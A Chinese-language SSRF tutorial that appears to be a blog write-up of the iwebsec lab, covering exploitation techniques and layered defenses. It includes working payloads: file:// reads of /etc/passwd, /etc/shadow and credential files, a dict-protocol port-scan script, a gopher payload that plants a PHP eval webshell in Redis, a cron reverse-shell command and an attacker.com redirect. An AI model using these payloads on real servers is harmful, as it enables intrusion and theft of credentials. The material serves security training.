从零构建SSRF实战能力:iwebsec靶场深度通关指南
第一次听说SSRF这个词时,我正盯着服务器日志里那些奇怪的本地请求发呆。作为刚转行安全的开发人员,那些来自127.0.0.1的神秘访问像是一串摩斯密码,直到在iwebsec靶场亲手复现了整个攻击链条,才真正理解这个"来自内部的敌人"有多危险。本文将带你用开发者的视角,在实战中拆解SSRF的每一块骨骼。
1. 环境搭建与漏洞认知
在虚拟机中安装好iwebsec靶场后(建议使用Ubuntu 20.04 LTS),访问http://localhost:8000/vuln/ssrf会看到一个简单的文件查看界面。这个看似无害的功能,正是SSRF的经典温床——服务端请求伪造(Server-Side Request Forgery)。
关键危险函数识别:
$curlobj = curl_init($_GET['url']); // 直接使用用户输入的URL初始化CURL curl_setopt($curlobj, CURLOPT_FOLLOWLOCATION, true); // 自动跟随重定向 curl_exec($curlobj); // 执行请求这三个函数的组合就像给攻击者发了张万能通行证。现代Web应用中常见的危险函数还包括:
| 函数 | 风险场景 | 典型防护方案 |
|---|---|---|
| file_get_contents() | 读取本地敏感文件 | 禁用file协议 |
| fsockopen() | 建立任意TCP连接 | 白名单校验 |
| HttpClient.execute() | Java生态中的SSRF入口 | 启用URL校验 |
提示:在PHP环境中,可以通过
ini_set('allow_url_fopen', 'off')禁用危险协议,但这只是防御的起点。
2. 协议利用实战三部曲
2.1 file协议:系统文件的任意门
在靶场URL参数中输入file:///etc/passwd,瞬间看到了系统的用户列表。这种基础利用暴露了两个问题:
- 服务器未过滤特殊协议
- Web服务进程拥有过高权限
进阶利用技巧:
- 尝试
file:///proc/self/environ读取环境变量 - 使用
file:///var/www/html/config/database.php获取数据库凭证 - 组合路径穿越:
file:///../../../../etc/shadow
2.2 dict协议:内网端口扫描器
将参数改为dict://127.0.0.1:3306,如果返回MySQL版本信息,说明数据库端口开放。这种无日志的扫描方式极具隐蔽性。
端口探测自动化脚本:
import requests ports = [21, 22, 3306, 6379] for port in ports: try: r = requests.get(f'http://target/ssrf?url=dict://127.0.0.1:{port}', timeout=3) print(f'Port {port}: OPEN - {r.text[:50]}') except: print(f'Port {port}: CLOSED')2.3 gopher协议:通往内网的瑞士军刀
当发现内网Redis服务时,gopher协议就变成了致命武器。通过精心构造的Payload,可以实现:
- 写入WebShell:
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$30%0d%0a%0a%0a<?php eval($_GET[cmd]);?>%0a%0a%0a- 计划任务反弹shell:
# URL编码后的CRON任务 curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3...' # 完整Payload见下文解释3. 防御体系构建方案
在真实业务中,我采用分层防御策略:
协议层控制:
location /api/ { set $block_protocols ""; if ($args ~* "url=[^:]+://") { set $block_protocols "Y"; } if ($block_protocols = "Y") { return 403; } }应用层校验:
public boolean isValidUrl(String input) { URI uri = new URI(input); if (!uri.getHost().endsWith(".trusted.com")) { return false; } if (uri.getScheme().equals("file") || uri.getScheme().equals("gopher")) { return false; } return true; }网络层隔离:
- 业务服务器部署在独立VPC
- 出站流量默认拒绝,按需开放
- 关键服务(如Redis)绑定127.0.0.1并设置密码
4. 企业级漏洞挖掘方法论
在甲方SRC工作时,我总结出SSRF的四个挖掘维度:
参数模糊测试:
- 收集所有接收URL的参数(如avatarUrl、exportUrl)
- 使用Burp Intruder批量测试不同协议
业务逻辑深挖:
- 文件导出功能中的远程模板获取
- 第三方API回调地址校验缺失
- OAuth授权跳转白名单绕过
协议转换漏洞:
GET /proxy?url=http://attacker.com/redirect.php HTTP/1.1其中redirect.php包含:
header("Location: file:///etc/passwd");DNS重绑定攻击:
- 使用短TTL域名指向内网IP
- 利用域名解析时间差绕过校验
有一次在代码审计时,发现某CMS的云存储插件存在SSRF,通过构造特殊URL成功访问到AWS元数据接口,最终拿下整个云环境权限。这种案例让我明白,SSRF从来不是孤立的漏洞,而是通往核心系统的跳板。